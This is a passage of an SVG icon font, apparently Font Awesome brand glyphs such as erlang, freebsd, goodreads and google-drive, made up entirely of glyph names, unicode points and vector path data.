c-3.7002 9 -7.2002 17 -12 26.7998zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM384 192c0 88.2002 -71.7998 160 -160 160s-160 -71.7998 -160 -160s71.7998 -160 160 -160
s160 71.7998 160 160z" />
    <glyph glyph-name="dyalog" unicode="&#xf399;" horiz-adv-x="416" 
d="M0 416h171.2c74.5 0 137.7 -24 182.5 -69.5996c40.2002 -40.9004 62.2998 -95.6006 62.2998 -154.301c0 -111.399 -84.0996 -224.1 -244.8 -224.1h-171.2v64h171.2c122.2 0 180.8 84 180.8 160.1c0 79.7002 -67.4004 159.9 -180.8 159.9h-107.2v-55.2002h-64v119.2z" />
    <glyph glyph-name="earlybirds" unicode="&#xf39a;" horiz-adv-x="480" 
d="M313.2 400.5c1.2002 13 21.2998 14 36.5996 8.7002c0.900391 -0.299805 26.2002 -9.7002 19 -15.2002c-27.8994 7.40039 -56.3994 -18.2002 -55.5996 6.5zM112.2 393.6c-7.7998 6.2002 19.8994 16.4004 20.8994 16.7002c16.8008 5.7002 38.9004 4.60059 40.2002 -9.59961
c0.900391 -27.1006 -30.3994 1 -61.0996 -7.10059zM319.4 288c8.7998 0 16 -7.2002 16 -16s-7.2002 -16 -16 -16c-8.80078 0 -16 7.2002 -16 16s7.19922 16 16 16zM159.7 288c8.7998 0 16 -7.2002 16 -16s-7.2002 -16 -16 -16s-16 7.2002 -16 16s7.2002 16 16 16z
M478.2 124.8c-9.90039 -24 -40.7002 -11 -63.9004 1.2002c-13.5 -69.0996 -58.0996 -111.4 -126.3 -124.2c0.299805 -0.899414 -2 0.100586 24 -1c33.5996 -1.39941 63.7998 3.10059 97.4004 8c-19.8008 13.7998 -11.4004 37.1006 -9.80078 38.1006
c1.40039 0.899414 14.7002 -1.7002 21.6006 -11.5c8.59961 12.5 28.3994 14.7998 30.2002 13.5996c1.59961 -1.09961 6.59961 -20.9004 -6.90039 -34.5996c4.7002 0.899414 8.2002 1.59961 9.7998 2.09961c2.60059 0.799805 17.7002 -11.2998 3.10059 -13.2998
c-14.3008 -2.2998 -22.6006 -5.10059 -47.1006 -10.7998c-45.8994 -10.7002 -85.8994 -11.8008 -117.7 -12.8008l1 -11.5996c3.80078 -18.0996 -23.3994 -24.2998 -27.5996 -6.2002c0.799805 -17.8994 -27.0996 -21.7998 -28.4004 1l-0.5 -5.2998
c-0.699219 -18.4004 -28.3994 -17.9004 -28.2998 0.599609c-7.5 -13.5 -28.0996 -6.7998 -26.3994 8.5l1.19922 12.4004c-36.6992 -0.900391 -59.6992 -3.09961 -61.7998 -3.09961c-20.8994 0 -20.8994 31.5996 0 31.5996c2.40039 0 27.7002 -1.2998 63.2002 -2.7998
c-61.0996 15.5 -103.7 55 -114.9 118.2c-25 -12.8008 -57.5 -26.8008 -68.1992 -0.800781c-10.5 25.4004 21.5 42.6006 66.7998 73.4004c0.700195 6.59961 1.59961 13.2998 2.7002 19.7998c-14.4004 19.6006 -11.6006 36.2998 -16.1006 60.4004
c-16.7998 -2.40039 -23.2002 9.09961 -23.5996 23.0996c0.299805 7.2998 2.09961 14.9004 2.39941 15.4004c1.10059 1.7998 10.1006 2 12.7002 2.59961c6 31.7002 50.6006 33.2002 90.9004 34.5c19.7002 21.7998 45.2002 41.5 80.8994 48.2998
c-15.2998 19.4004 -3.39941 39.9004 -2.39941 40.4004c1.7002 0.799805 21.2002 -4.2998 26.2998 -23.2002c5.2002 8.7998 18.2998 11.4004 19.5996 10.7002c1.10059 -0.599609 6.40039 -15 -4.89941 -25.9004c40.2998 -3.5 72.2002 -24.6992 96 -50.6992
c36.0996 -1.5 71.7998 -5.90039 77.0996 -34c2.7002 -0.600586 11.6006 -0.800781 12.7002 -2.60059c0.299805 -0.5 2.09961 -8.09961 2.40039 -15.3994c-0.5 -13.9004 -6.80078 -25.4004 -23.6006 -23.1006c-3.2002 -17.2998 -2.7002 -32.8994 -8.7002 -47.7002
c2.40039 -11.6992 4 -23.7998 4.80078 -36.3994c37 -25.4004 70.2998 -42.5 60.2998 -66.9004zM207.4 288.1c0.899414 44 -37.9004 42.2002 -78.6006 40.3008c-21.7002 -1 -38.8994 -1.90039 -45.5 -13.9004c-11.3994 -20.9004 5.90039 -92.9004 23.2002 -101.2
c9.7998 -4.7002 73.4004 -7.89941 86.2998 7.10059c8.2002 9.39941 15 49.3994 14.6006 67.6992zM259.4 229.8c-4.30078 12.4004 -6 30.1006 -15.3008 32.7002c-2 0.5 -9 0.5 -11 0c-10 -2.7998 -10.7998 -22.0996 -17 -37.2002c15.4004 0 19.3008 -9.7002 23.7002 -9.7002
c4.2998 0 6.2998 11.3008 19.6006 14.2002zM395.1 314.5c-6.59961 12.0996 -24.7998 12.9004 -46.5 13.9004c-40.1992 1.89941 -78.1992 3.7998 -77.2998 -40.3008c-0.5 -18.2998 5 -58.2998 13.2002 -67.7998c13 -14.8994 76.5996 -11.7998 86.2998 -7.09961
c15.7998 7.59961 36.5 78.8994 24.2998 101.3z" />
    <glyph glyph-name="erlang" unicode="&#xf39d;" horiz-adv-x="640" 
d="M87.2002 394.5c-41.5 -50.2002 -65.6006 -116.2 -65.5 -192.9c-0.100586 -86.7998 29 -159.5 78.7002 -212.1h-100.4v405h87.2002zM325.4 384.8c46.1992 -0.0996094 79.5996 -33.5 80.6992 -83.2002h-169.899c4.09961 49.7002 43.2998 83.1006 89.2002 83.2002z
M556.1 394.4h0.300781l-0.100586 0.0996094zM556.4 394.4h83.5996v-405h-80.7998c21.3994 23 40.5 49.8994 57.8994 80.7998l-96.3994 48.2002c-33.9004 -55.1006 -83.4004 -105.801 -151.9 -106.101c-99.7002 0.400391 -138.8 85.6006 -138.6 195.3h372.399
c0.5 12.4004 0.5 18.1006 0 24.1006c2.5 65.2002 -14.7998 120 -46.1992 162.7z" />
    <glyph glyph-name="facebook-f" unicode="&#xf39e;" horiz-adv-x="320" 
d="M279.14 160h-74.6895v-224h-100.17v224h-81.3906v92.6602h81.3906v70.6201c0 80.3398 47.8594 124.72 121.08 124.72c35.0693 0 71.75 -6.25977 71.75 -6.25977v-78.8906h-40.4199c-39.8203 0 -52.2402 -24.71 -52.2402 -50.0596v-60.1299h88.9102z" />
    <glyph glyph-name="facebook-messenger" unicode="&#xf39f;" horiz-adv-x="512" 
d="M256.55 440c140.04 0 247.45 -102.34 247.45 -240.57c0 -175.13 -166.15 -273.229 -319.44 -231.04c-8.96973 2.44043 -9.64941 0.600586 -62.5596 -22.6992c-2.10449 -0.918945 -5.67578 -1.66504 -7.97168 -1.66504c-10.624 0 -19.543 8.61719 -19.9082 19.2344
c-1.41992 46.3701 0.299805 50.7207 -8.0498 58.2305c-48.3604 43.1602 -78.0703 105.64 -78.0703 177.939c0 138.23 108.52 240.57 248.55 240.57zM405.79 254.87c7.0498 11.0801 -6.65039 23.5996 -17.0898 15.6201l-78.4102 -59.3799
c-2.20801 -1.65625 -6.24023 -3 -9 -3s-6.79199 1.34375 -9 3l-58.0596 43.46c-5.48926 4.09961 -15.5049 7.42676 -22.3564 7.42676c-11.3438 0 -25.4805 -7.77637 -31.5537 -17.3574l-73 -115.569c-7.05078 -11.0703 6.64941 -23.6006 17.1094 -15.6699l78.3701 59.4395
c2.20801 1.65625 6.24023 3 9 3s6.79199 -1.34375 9 -3l58.0801 -43.4697c5.48926 -4.09766 15.5039 -7.42285 22.3535 -7.42285c11.3428 0 25.4805 7.77441 31.5566 17.3525z" />
    <glyph glyph-name="firstdraft" unicode="&#xf3a1;" horiz-adv-x="384" 
d="M384 256h-64v-128h-128v-128h-192v25.5996h166.4v128h128v128h89.5996v-25.5996zM358.4 217.6h25.5996v-153.6h-128v-128h-192v25.5996h166.4v128h128v128zM384 25.5996v-25.5996h-64v-64h-25.5996v89.5996h89.5996zM0 448h384v-128h-128v-128h-128v-128h-128v384z" />
    <glyph glyph-name="fonticons-fi" unicode="&#xf3a2;" horiz-adv-x="384" 
d="M114.4 224h92.3994l-15.2002 -51.2002h-76.3994v-157.8c0 -8 -2.7998 -9.2002 4.39941 -10l59.6006 -5.59961v-34.4004h-179.2v35.2002l29.2002 2.7998c7.2002 0.799805 9.2002 3.2002 9.2002 10.7998v155.8c0 3.2002 -4 3.2002 -8 3.2002h-30.4004v51.2002h38.4004
v28.7998c0 68 36.3994 96 106 96c46.7998 0 88.7998 -11.2002 88.7998 -72.3994l-69.6006 -8.40039c0.400391 25.5996 -6 31.5996 -22.3994 31.5996c-25.2002 0 -26 -13.5996 -26 -37.5996v-32c0 -3.2002 -4.7998 -6 -0.799805 -6zM384 -35h-140.8v34.4004l28 3.59961
c7.2002 0.799805 10.3994 2.40039 10.3994 10v148c0 5.59961 -4 9.2002 -9.19922 10.7998l-33.2002 8.7998l9.2002 40.4004h110v-208c0 -8 -3.60059 -8.7998 4 -10l21.5996 -3.59961v-34.4004zM354 312.2l12.4004 -45.6006l-10 -10l-42.8008 22.8008l-42.7998 -22.8008
l-10 10l12.4004 45.6006l-30 36.3994l4.7998 10h38l21.2002 38.4004h12.7998l21.2002 -38.4004h38l4.7998 -13.1992z" />
    <glyph glyph-name="fort-awesome-alt" unicode="&#xf3a3;" horiz-adv-x="512" 
d="M208 210.6c2.09961 0 3.7002 -1.59961 3.7002 -3.69922v-51.7002c0 -2.10059 -1.60059 -3.7002 -3.7002 -3.7002h-22.2002c-2.09961 0 -3.7002 1.59961 -3.7002 3.7002v51.7002c0 2.09961 1.60059 3.69922 3.7002 3.69922h22.2002zM326.2 210.6
c2 0 3.59961 -1.59961 3.7002 -3.69922v-51.7002c0 -2.10059 -1.60059 -3.7002 -3.7002 -3.7002h-22.2002c-2.09961 0 -3.7002 1.59961 -3.7002 3.7002v51.7002c0 2.09961 1.60059 3.69922 3.7002 3.69922h22.2002zM458.2 335.7
c28.8994 -40.7002 45.7998 -90.2002 45.7998 -143.7c0 -2 0 -4 -0.0996094 -6c0 -0.700195 0 -1.2998 -0.100586 -2c0 -1.2998 -0.0996094 -2.7002 -0.200195 -4c0 -0.799805 -0.0996094 -1.5 -0.0996094 -2.2998
c-0.0996094 -1.2002 -0.0996094 -2.40039 -0.200195 -0.700195c-0.0996094 -0.799805 -0.0996094 -1.59961 -0.200195 -2.40039c-0.0996094 -1.19922 -0.199219 -2.39941 -0.299805 -3.5c-0.0996094 -0.799805 -0.200195 -1.59961 -0.200195 -2.39941
c-0.0996094 -1.2002 -0.299805 -2.40039 -0.399414 -3.60059c-0.100586 -0.799805 -0.200195 -1.5 -0.299805 -2.2998c-0.200195 -1.2998 -0.400391 -2.59961 -0.5 -3.89941c-0.100586 -0.600586 -0.200195 -1.30078 -0.300781 -1.90039l-0.899414 -5.7002
c-0.100586 -0.599609 -0.200195 -1.09961 -0.299805 -1.7002c-0.200195 -1.2998 -0.5 -2.69922 -0.800781 -4c-0.199219 -0.799805 -0.299805 -1.59961 -0.5 -2.39941c-0.199219 -1.10059 -0.5 -2.2002 -0.699219 -3.2002
c-0.200195 -0.900391 -0.400391 -1.7002 -0.600586 -2.59961c-0.200195 -1 -0.5 -2 -0.700195 -3c-0.199219 -0.900391 -0.5 -1.80078 -0.699219 -2.7002c-0.300781 -1 -0.5 -1.90039 -0.800781 -2.90039c-0.199219 -0.899414 -0.5 -1.7998 -0.799805 -2.7002
c-0.299805 -0.899414 -0.599609 -1.89941 -0.799805 -2.7998c-0.299805 -0.899414 -0.5 -1.7998 -0.799805 -2.7002c-0.299805 -0.899414 -0.600586 -1.7998 -0.900391 -2.7998c-0.5 -1.59961 -1.09961 -3.2998 -1.7002 -4.89941
c-0.299805 -0.900391 -0.599609 -1.80078 -1 -2.80078c-0.399414 -1 -0.699219 -2 -1.09961 -3c-0.299805 -0.799805 -0.599609 -1.5 -0.900391 -2.2998l-1.19922 -3c-0.300781 -0.700195 -0.600586 -1.5 -0.900391 -2.2002c-0.400391 -1 -0.799805 -2 -1.2998 -3
l-0.900391 -2.09961c-0.399414 -1 -0.899414 -2 -1.39941 -3c-0.300781 -0.700195 -0.600586 -1.2998 -0.900391 -2c-0.5 -1 -1 -2.09961 -1.5 -3.09961c-0.299805 -0.600586 -0.599609 -1.10059 -0.799805 -1.7002c-0.600586 -1.10059 -1.10059 -2.2002 -1.7002 -3.2998
c-0.0996094 -0.200195 -0.200195 -0.300781 -0.299805 -0.5c-2.2002 -4.10059 -4.40039 -8.2002 -6.7998 -12.2002c-0.200195 -0.400391 -0.5 -0.799805 -0.700195 -1.2002c-0.700195 -1.09961 -1.2998 -2.2002 -2 -3.2998
c-0.299805 -0.5 -0.600586 -0.900391 -0.900391 -1.40039c-0.700195 -1.09961 -1.39941 -2.09961 -2 -3.2002c-0.299805 -0.5 -0.599609 -0.899414 -0.899414 -1.39941c-0.700195 -1.10059 -1.40039 -2.10059 -2.10059 -3.2002
c-0.299805 -0.400391 -0.599609 -0.799805 -0.799805 -1.2002c-0.799805 -1.09961 -1.5 -2.2002 -2.2998 -3.2998c-0.200195 -0.200195 -0.299805 -0.5 -0.5 -0.700195c-37.6006 -54.7002 -94.5 -91.3994 -160.101 -102.399
c-0.899414 -0.100586 -1.69922 -0.300781 -2.59961 -0.400391c-1 -0.200195 -2.09961 -0.299805 -3.09961 -0.5c-0.900391 -0.0996094 -1.80078 -0.299805 -2.80078 -0.400391c-1 -0.0996094 -2 -0.299805 -3 -0.399414c-1 -0.100586 -2 -0.200195 -2.89941 -0.299805
c-1 -0.100586 -1.90039 -0.200195 -2.90039 -0.300781c-1 -0.0996094 -2.09961 -0.199219 -3.09961 -0.299805c-0.900391 -0.0996094 -1.7998 -0.200195 -2.7002 -0.200195c-1.09961 -0.0996094 -2.2998 -0.0996094 -3.40039 -0.199219
c-0.799805 0 -1.69922 -0.100586 -2.5 -0.100586c-1.2998 -0.0996094 -2.59961 -0.0996094 -3.89941 -0.0996094c-0.700195 0 -1.40039 -0.100586 -2.10059 -0.100586c-2 0 -4 -0.0996094 -6 -0.0996094s-4 0 -6 0.0996094c-0.699219 0 -1.39941 0 -2.09961 0.100586
c-1.2998 0 -2.59961 0.0996094 -3.90039 0.0996094c-0.799805 0 -1.69922 0.100586 -2.5 0.100586c-1.09961 0.0996094 -2.2998 0.0996094 -3.39941 0.199219c-0.900391 0.100586 -1.7998 0.100586 -2.7002 0.200195c-1 0.100586 -2.09961 0.200195 -3.09961 0.299805
c-1 0.100586 -1.90039 0.200195 -2.90039 0.300781c-1 0.0996094 -2 0.199219 -2.90039 0.299805c-1 0.0996094 -2 0.200195 -3 0.399414c-0.899414 0.100586 -1.7998 0.300781 -2.7998 0.400391s-2.09961 0.299805 -3.09961 0.5
c-0.900391 0.0996094 -1.7002 0.299805 -2.60059 0.400391c-65.5996 10.8994 -122.5 47.6992 -160 99.3994c-0.199219 0.200195 -0.299805 0.5 -0.5 0.700195c-0.799805 1.09961 -1.59961 2.2002 -2.2998 3.2998c-0.299805 0.400391 -0.599609 0.799805 -0.799805 1.2002
c-0.700195 1.09961 -1.40039 2.09961 -2.09961 3.2002c-0.300781 0.5 -0.600586 0.899414 -0.900391 1.39941c-0.700195 1.10059 -1.40039 2.10059 -2 3.2002c-0.299805 0.5 -0.599609 0.900391 -0.900391 1.40039c-0.699219 1.09961 -1.2998 2.2002 -2 3.2998
c-0.199219 0.400391 -0.5 0.799805 -0.699219 1.2002c-2.40039 4 -4.60059 8.09961 -6.80078 12.2002c-0.0996094 0.199219 -0.199219 0.299805 -0.299805 0.5c-0.599609 1.09961 -1.09961 2.19922 -1.7002 3.2998c-0.299805 0.599609 -0.599609 1.09961 -0.799805 1.7002
c-0.5 1 -1 2.09961 -1.5 3.09961c-0.299805 0.700195 -0.599609 1.2998 -0.899414 2c-0.5 1 -0.900391 2 -1.40039 3l-0.900391 2.09961c-0.399414 1 -0.899414 2 -1.2998 3c-0.299805 0.700195 -0.599609 1.5 -0.899414 2.2002l-1.2002 3
c-0.299805 0.799805 -0.600586 1.5 -0.900391 2.2998c-0.399414 1 -0.799805 2 -1.09961 3c-0.299805 0.900391 -0.600586 1.80078 -1 2.80078c-0.600586 1.59961 -1.10059 3.2998 -1.7002 4.89941c-0.299805 0.900391 -0.599609 1.7998 -0.900391 2.7998
c-0.299805 0.900391 -0.5 1.80078 -0.799805 2.7002c-0.299805 0.900391 -0.599609 1.90039 -0.799805 2.7998c-0.299805 0.900391 -0.5 1.80078 -0.799805 2.7002c-0.299805 1 -0.5 1.90039 -0.799805 2.90039c-0.200195 0.899414 -0.5 1.7998 -0.700195 2.7002
c-0.299805 1 -0.5 2 -0.700195 3c-0.200195 0.899414 -0.400391 1.69922 -0.599609 2.59961c-0.200195 1.09961 -0.5 2.2002 -0.700195 3.2002c-0.200195 0.799805 -0.299805 1.59961 -0.5 2.39941c-0.299805 1.30078 -0.5 2.7002 -0.799805 4
c-0.100586 0.600586 -0.200195 1.10059 -0.300781 1.7002l-0.899414 5.7002c-0.100586 0.599609 -0.200195 1.2998 -0.299805 1.90039c-0.200195 1.2998 -0.400391 2.59961 -0.5 3.89941c-0.100586 0.799805 -0.200195 1.5 -0.300781 2.2998
c-0.0996094 1.2002 -0.299805 2.40039 -0.399414 3.60059c-0.100586 0.799805 -0.200195 1.59961 -0.200195 2.39941c-0.0996094 1.2002 -0.200195 2.40039 -0.299805 3.5c-0.100586 0.800781 -0.100586 1.60059 -0.200195 2.40039
c-0.0996094 1.2002 -0.200195 2.40039 -0.200195 3.7002c0 0.799805 -0.0996094 1.5 -0.0996094 2.2998c-0.100586 1.2998 -0.100586 2.7002 -0.200195 4c0 0.700195 0 1.2998 -0.0996094 2c0 2 -0.100586 4 -0.100586 6c0 53.5 16.9004 103 45.7998 143.6
c2.30078 3.2002 4.7002 6.40039 7.10059 9.5c4.89941 6.2002 10.0996 12.3008 15.5996 18c2.7002 2.90039 5.5 5.7002 8.40039 8.40039c2.89941 2.7002 5.7998 5.40039 8.7998 8c4.5 3.90039 9.09961 7.59961 13.9004 11.2002c1.59961 1.2002 3.19922 2.39941 4.7998 3.5
c27.2998 19.5996 59 33.7002 93.2998 40.7998c16.0996 3.2998 32.9004 5 50 5s33.7998 -1.7002 50 -5c34.2998 -7 66 -21.0996 93.5996 -40.7002c1.60059 -1.2002 3.2002 -2.2998 4.80078 -3.5c4.7998 -3.59961 9.39941 -7.2998 13.8994 -11.2002
c12 -10.3994 23 -21.8994 32.7998 -34.3994c2.5 -3.10059 4.80078 -6.2998 7.10059 -9.5zM448 76.5v71.2998c0 2.10059 -1.59961 3.7002 -3.7002 3.7002h-22.2002c-2.09961 0 -3.69922 -1.59961 -3.69922 -3.7002v-25.7998h-29.5v144
c0 2.09961 -1.60059 3.7002 -3.7002 3.7002h-22.1006c-2.09961 0 -3.69922 -1.60059 -3.69922 -3.7002v-25.9004h-29.5v25.9004c0 2.09961 -1.60059 3.7002 -3.7002 3.7002h-22.2002c-2.09961 0 -3.7002 -1.60059 -3.7002 -3.7002v-25.9004h-29.5v25.9004
c0 4.7998 -6.5 3.7002 -9.5 3.7002v30.7002c6.7002 1.59961 13.7998 2.7998 20.7998 2.7998c8.80078 0 16.8008 -3.5 25.4004 -3.5c3.7002 0 22.4004 0.899414 22.4004 6.5v48.3994c0 2.10059 -1.60059 3.7002 -3.7002 3.7002c-4.2002 0 -12.2002 -3.5 -19.4004 -3.5
c-7.89941 0 -16.8994 3.5 -26.2998 3.5c-6.5 0 -12.9004 -0.899414 -19.2002 -2.2998v3.90039c4.40039 2.09961 7.40039 6.69922 7.40039 11.5c0 16.7998 -25.4004 16.7998 -25.4004 0c0 -4.80078 3 -9.5 7.40039 -11.5v-90.2002c-3 0 -9.5 1.09961 -9.5 -3.7002v-25.9004
h-29.5v25.9004c0 2.09961 -1.60059 3.7002 -3.7002 3.7002h-22.2002c-2.09961 0 -3.7002 -1.60059 -3.7002 -3.7002v-25.9004h-29.5v25.9004c0 2.09961 -1.59961 3.7002 -3.69922 3.7002h-22.1006c-2.09961 0 -3.7002 -1.60059 -3.7002 -3.7002v-144h-29.5996v25.7998
c0 2.10059 -1.59961 3.7002 -3.7002 3.7002h-22.0996c-2.10059 0 -3.7002 -1.59961 -3.7002 -3.7002v-71.2998c9.40039 -15.5 20.5996 -29.9004 33.5996 -42.9004c20.6006 -20.5996 44.5 -36.6992 71.2002 -48c13.9004 -5.89941 28.2002 -10.2998 42.9004 -13.1992v75.7998
c0 58.5996 88.5996 58.5996 88.5996 0v-75.7998c14.7002 2.89941 29 7.39941 42.9004 13.1992c26.7002 11.3008 50.5996 27.4004 71.2002 48c13 13 24.1992 27.4004 33.5996 42.9004z" />
    <glyph glyph-name="freebsd" unicode="&#xf3a4;" 
d="M303.7 351.8c11.0996 11.1006 115.5 77 139.2 53.2002c23.6992 -23.7002 -42.1006 -128.1 -53.2002 -139.2c-11.1006 -11.0996 -39.4004 -0.899414 -63.1006 22.9004c-23.7998 23.7002 -34.0996 52 -22.8994 63.0996zM109.9 379.9
c-31.6006 -19.4004 -57.9004 -46.5 -76.4004 -78.7002c-20.7998 36.2998 -44.5 89.0996 -27.9004 105.7c16.4004 16.5 68 -6.40039 104.301 -27zM406.7 274c3.2998 5.5 7 11.7998 10.8994 18.7998c17.6006 -31.2998 27.7002 -67.3994 27.7002 -105.8
c0 -119.1 -96.5 -215.6 -215.6 -215.6c-119.101 0 -215.601 96.5996 -215.601 215.6c0 119.1 96.5 215.6 215.601 215.6c35.8994 0 69.7002 -8.7998 99.5 -24.2998c-7.2998 -4 -13.9004 -8 -19.6006 -11.5996c-26 4.7002 -32.8994 -16.4004 -14.8994 -48.7002
c21.7998 -43.0996 89 -90.4004 109.3 -70.0996c5.40039 5.39941 6 14.7998 2.7002 26.0996z" />
    <glyph glyph-name="gitkraken" unicode="&#xf3a6;" horiz-adv-x="592" 
d="M565.7 329.9c11.7998 -31.6006 18.2998 -65.7002 18.2998 -101.4c0 -155.1 -122.6 -281.6 -276.3 -287.7v145.8c-8.40039 -0.5 -16.6006 -0.399414 -23.4004 0v-145.899c-153.7 6.2002 -276.3 132.7 -276.3 287.8c0 35.7002 6.5 69.7998 18.2998 101.3
c2.2998 6.2002 9.2998 9.2002 15.2998 6.60059c5.7002 -2.40039 8.5 -8.80078 6.30078 -14.6006c-10.9004 -29 -16.9004 -60.5 -16.9004 -93.2998c0 -134.6 100.4 -245.7 230.2 -262.7v123.7c-7.90039 1.59961 -15.4004 3.7002 -23 6.2002v-104
c-106.7 26 -185.9 122.1 -185.9 236.8c0 91.7998 50.7998 171.8 125.8 213.3c5.80078 3.2002 13 0.900391 15.9004 -5c2.7002 -5.5 0.700195 -12.0996 -4.7002 -15.0996c-67.8994 -37.7002 -113.899 -110.101 -113.899 -193.2c0 -93.4004 57.8994 -173.2 139.8 -205.4
v92.2002c-14.2002 4.5 -24.7998 17.7002 -24.7998 33.5c0 13.1006 6.69922 24.4004 17.2998 30.5c-8.2002 79.6006 -44.5 58.6006 -44.5 83.9004v14.7998c0 38 87.8994 161.7 129.1 164.7c2.60059 0.200195 5.10059 0.200195 7.60059 0
c41.0996 -2.90039 129 -126.7 129 -164.7v-14.7002c0 -25.2998 -36.2002 -4.39941 -44.5 -83.8994c10.5 -6.10059 17.2998 -17.4004 17.2998 -30.5c0 -15.8008 -10.7002 -29 -24.9004 -33.5v-92.2002c81.9004 32.2998 139.8 112.1 139.8 205.399
c0 83.2002 -46 155.601 -113.899 193.2c-5.2998 2.90039 -7.40039 9.60059 -4.7002 15.1006c2.90039 5.89941 10.2002 8.19922 15.9004 5c75 -41.5 125.8 -121.5 125.8 -213.301c0 -114.699 -79.2002 -210.899 -185.9 -236.8v104
c-7.5 -2.59961 -15.0996 -4.7002 -23 -6.2002v-123.699c129.9 17 230.2 128.1 230.2 262.699c0 32.8008 -6 64.3008 -16.9004 93.3008c-2.19922 5.69922 0.600586 12.1992 6.30078 14.5996c6 2.59961 13 -0.5 15.2998 -6.59961zM365.9 172.5
c-13.1006 0 -23.7002 -10.5996 -23.7002 -23.7002c0 -13.2002 10.7002 -23.7002 23.7002 -23.7002c13.0996 0 23.6992 10.6006 23.6992 23.7002c0 13.2002 -10.6992 23.7002 -23.6992 23.7002zM226.1 125.2c13.2002 0 23.7002 10.7002 23.7002 23.7002
c0 13.0996 -10.5996 23.6992 -23.7002 23.6992c-13.1992 0 -23.6992 -10.6992 -23.6992 -23.6992s10.5 -23.7002 23.6992 -23.7002z" />
    <glyph glyph-name="gofore" unicode="&#xf3a7;" horiz-adv-x="400" 
d="M324 128.2c54.2998 0 65.7002 -50.1006 67.7002 -77.7002c-46.5 -56.2998 -107.8 -82.5 -171 -82.5c-123.7 0 -220.7 101.5 -220.7 224c0 123.4 98 224 220.7 224c59 0 114.3 -23.2998 156.1 -65.5996l-62.2998 -63.3008c-25 25.4004 -58.2998 39.4004 -93.5996 39.4004
c-73.2002 0 -132.4 -60.2998 -132.4 -134.4c0 -74.1992 59.2002 -134.399 132.4 -134.399c33.5996 0 65.3994 12.7002 89.8994 35.7998v34.7002h13.2002zM311.9 240.7c47.6992 0 88.0996 -35 88.0996 -100.2v-30.5996c-15.5 26.6992 -42.5 41.7998 -76 41.7998h-118.4v89
h106.301z" />
    <glyph glyph-name="goodreads" unicode="&#xf3a8;" 
d="M299.9 256.8c5.09961 -37.2998 -4.7002 -79 -35.9004 -100.7c-22.2998 -15.5 -52.7998 -14.0996 -70.7998 -5.69922c-37.1006 17.2998 -49.5 58.5996 -46.7998 97.1992c4.2998 60.9004 40.8994 87.9004 75.2998 87.5c46.8994 0.200195 71.7998 -31.7998 78.2002 -78.2998
zM448 360v-336c0 -30.9004 -25.0996 -56 -56 -56h-336c-30.9004 0 -56 25.0996 -56 56v336c0 30.9004 25.0996 56 56 56h336c30.9004 0 56 -25.0996 56 -56zM330 134.8c0 0 -0.0996094 34 -0.0996094 217.3h-29v-40.2998c-0.800781 -0.299805 -1.2002 0.5 -1.60059 1.2002
c-9.59961 20.7002 -35.8994 46.2998 -76 46c-51.8994 -0.400391 -87.2002 -31.2002 -100.6 -77.7998c-4.2998 -14.9004 -5.7998 -30.1006 -5.5 -45.6006c1.7002 -77.8994 45.0996 -117.8 112.399 -115.199c28.9004 1.09961 54.5 17 69 45.1992
c0.5 1 1.10059 1.90039 1.7002 2.90039c0.200195 -0.0996094 0.400391 -0.0996094 0.600586 -0.200195c0.299805 -3.7998 0.199219 -30.7002 0.0996094 -34.5c-0.200195 -14.7998 -2 -29.5 -7.2002 -43.5c-7.7998 -21 -22.2998 -34.7002 -44.5 -39.5
c-17.7998 -3.89941 -35.5996 -3.7998 -53.2002 1.2002c-21.5 6.09961 -36.5 19 -41.0996 41.7998c-0.299805 1.60059 -1.2998 1.2998 -2.2998 1.2998h-26.7998c0.799805 -10.5996 3.19922 -20.2998 8.5 -29.1992c24.1992 -40.5 82.6992 -48.5 128.199 -37.4004
c49.9004 12.2998 67.3008 54.9004 67.4004 106.3z" />
    <glyph glyph-name="goodreads-g" unicode="&#xf3a9;" horiz-adv-x="384" 
d="M42.5996 44.7002h2.80078c12.6992 0 25.5 0 38.1992 -0.100586c1.60059 0 3.10059 0.400391 3.60059 -2.09961c7.09961 -34.9004 30 -54.5996 62.8994 -63.9004c26.9004 -7.59961 54.1006 -7.7998 81.3008 -1.7998c33.7998 7.40039 56 28.2998 68 60.4004
c8 21.5 10.6992 43.7998 11 66.5c0.0996094 5.7998 0.299805 47 -0.200195 52.7998l-0.900391 0.299805c-0.799805 -1.5 -1.7002 -2.89941 -2.5 -4.39941c-22.0996 -43.1006 -61.2998 -67.4004 -105.399 -69.1006c-103 -4 -169.4 57 -172 176.2
c-0.5 23.7002 1.7998 46.9004 8.2998 69.7002c20.5996 71.0996 74.5996 118.2 153.899 118.8c61.3008 0.400391 101.5 -38.7002 116.2 -70.2998c0.5 -1.10059 1.2998 -2.2998 2.40039 -1.90039v61.6006h44.2998c0 -280.301 0.0996094 -332.2 0.0996094 -332.2
c-0.0996094 -78.5 -26.6992 -143.7 -103 -162.2c-69.5 -16.9004 -159 -4.7998 -196 57.2002c-8 13.5 -11.7998 28.2998 -13 44.5zM188.9 411.5c-52.5 0.5 -108.5 -40.7002 -115 -133.8c-4.10059 -59 14.7998 -122.2 71.5 -148.601
c27.5996 -12.8994 74.2998 -15 108.3 8.7002c47.5996 33.2002 62.7002 97 54.7998 154c-9.7002 71.1006 -47.7998 120 -119.6 119.7z" />
    <glyph glyph-name="google-drive" unicode="&#xf3aa;" horiz-adv-x="512" 
d="M339 133.1l-163.6 282.9h161.199l163.601 -282.9h-161.2zM201.5 109.5h310.5l-80.5996 -141.5h-310.5zM154.1 380.6l82.9004 -141.399l-156.4 -271.2l-80.5996 141.5z" />
    <glyph glyph-name="google-play" unicode="&#xf3ab;" horiz-adv-x="512" 
d="M325.3 213.7l-220.7 221.3l280.801 -161.2zM47 448l256.6 -255.9l-256.6 -256c-13 6.80078 -21.7002 19.2002 -21.7002 35.3008v441.3c0 16.0996 8.7002 28.5 21.7002 35.2998zM472.2 222.4c19.2002 -14.3008 19.2002 -46.5 1.2002 -60.8008l-60.1006 -34.0996
l-65.7002 64.5l65.7002 64.5zM104.6 -51l220.7 221.3l60.1006 -60.0996z" />
    <glyph glyph-name="gripfire" unicode="&#xf3ac;" horiz-adv-x="384" 
d="M112.5 146.6c0 -26.8994 16.5996 -47.1992 32.5996 -69.5c22.5 -30.1992 44.2002 -56.8994 44.2002 -86.5c-0.0996094 -14.5 -4.39941 -29.6992 -17.5 -46.3994c0 5.2998 4.7998 12.2002 4.7998 22.2998c0 15.2002 -13 39.9004 -78.0996 86.5996
